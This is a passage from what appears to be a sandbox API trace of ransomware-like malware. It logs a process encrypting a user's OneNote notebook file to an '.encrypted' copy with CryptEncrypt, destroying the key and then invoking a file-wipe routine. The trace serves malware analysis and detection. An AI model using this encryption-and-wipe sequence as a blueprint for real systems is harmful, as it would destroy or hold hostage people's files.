(lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.encrypted.onetoc2" (normalized: "c:\\users\\5jghkoaofdp\\documents\\onenote notebooks\\my notebook\\open notebook.encrypted.onetoc2"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.514] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.515] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.515] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.515] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.516] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.516] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x1828, lpOverlapped=0x0) returned 1 [0025.517] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.518] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.519] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.519] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.519] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.519] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.519] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.519] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.519] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.519] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.520] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.520] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.520] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.520] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.545] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.545] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064d70, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d70*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.545] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 1 [0025.545] TranslateMessage (lpMsg=0xe8f3dfe090) returned 0 [0025.545] DispatchMessageW (lpMsg=0xe8f3dfe090) returned 0x0 [0025.545] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe8f3dfd6c0) returned 1 [0025.546] KillTimer (hWnd=0x3002c, uIDEvent=0x1) returned 1 [0025.546] SetTimer (hWnd=0x3002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0025.546] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.546] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.547] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.547] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.547] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.547] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.547] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.547] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.547] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.547] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.547] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.547] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.548] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.548] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.548] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.548] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.548] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.548] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.548] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.548] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.548] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.548] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.548] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.548] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.549] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0025.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0xe8f417ac60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0025.550] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptEncrypt") returned 0x7ffe2a5cb720 [0025.550] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1828, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1830) returned 1 [0025.551] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.551] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.551] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.551] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.551] CharLowerBuffW (in: lpsz="byte[6193]", cchLength=0xa | out: lpsz="byte[6193]") returned 0xa [0025.551] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.551] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.551] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.551] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.551] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.551] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4192780*, pdwDataLen=0xe8f3dfdf68*=0x1828, dwBufLen=0x1830 | out: pbData=0xe8f4192780*, pdwDataLen=0xe8f3dfdf68*=0x1830) returned 1 [0025.551] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.551] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.551] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.551] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.551] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.551] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.551] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.551] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.551] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.551] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.551] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.551] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.551] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.552] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.552] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.552] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.552] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.552] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.552] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.552] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.552] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.553] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.553] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.553] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.553] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.553] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.553] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.553] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.553] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.553] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.553] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.553] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.553] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.554] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.554] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.554] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.554] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.554] CryptReleaseContext (hProv=0xe8f4199a20, dwFlags=0x0) returned 1 [0025.554] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.554] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.554] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.554] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.554] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.554] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.554] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.555] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.555] CharLowerBuffW (in: lpsz="byte[6184]", cchLength=0xa | out: lpsz="byte[6184]") returned 0xa [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.555] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.555] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.555] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, 